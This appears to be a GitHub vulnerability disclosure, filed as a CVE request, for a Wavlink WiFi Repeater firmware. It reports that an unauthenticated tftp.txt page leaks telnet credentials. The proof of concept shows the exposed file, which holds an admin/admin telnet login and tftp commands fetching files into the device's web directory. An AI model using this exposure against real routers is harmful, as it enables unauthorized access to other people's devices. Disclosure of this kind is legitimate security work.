

🔑 main ▾

...

[CVE_Request](#) / [WiFi-Repeater](#) / [WiFi-Repeater_syslog.shtml.assets](#) / [WiFi-Repeater_tftp.md](#)



pghuanghui Add files via upload

🕒 History

👤 1 contributor

☰ 29 lines (17 sloc) | 949 Bytes

...

0x01 Vulnerability description

A vulnerability is in the 'tftp.txt' page of the Wavlink-WiFi-Repeater,Firmware package version RPTA2-77W.M4300.01.GD.2017Sep19,The attacker can access the constructed page to obtain the telnet account password.

Unauthorized users can obtain the key information of the router by visiting:

`http://xxx.xxx.xxx.xxx/tftp.txt`

0x02 Affected version

Wavlink-WiFi-Repeater

0x03 Vulnerability

The txt text does not set reasonable access rights.

0x04 PoC verification

WISP Wizard

User
 This Device
 WISP
 Internet

WISP Status
2.4G SSID: [redacted]_EXT2.4G
AC SSID: [redacted]_XT5G
Clients: 0
Connect to: [redacted]
Status: Connected
Internet: Connected

- Basic Settings
- 2.4G Advanced Settings
- AC Advanced Settings
- WPS Settings

LAN Settings
IP Address: [redacted]
MAC Address: [redacted]
DHCP Mode: [redacted] DHCP Server

- Password Settings
- Time Zone Settings
- Save/Reload Settings
- Upgrade Firmware

Firmware Version
RPTA2-77WM4300.01.GD.2017Sep19

Build Time
14:40:22 Sep 19 2017

Up Time
38 days, 10 hours, 5 mins, 3 secs

```

← → ↻ 192.168.1.102/tftp.txt

telnet 192.168.10.1 admin admin

tftp -g -r xxx 192.168.10.100

cd /etc_ro/lighttpd/www
tftp 192.168.10.100 -g -r common.css
tftp 192.168.10.100 -g -r common.js

cd /etc_ro/lighttpd/www
tftp 192.168.10.100 -g -r
    
```

0x05 Acknowledgement

Penwei.Huang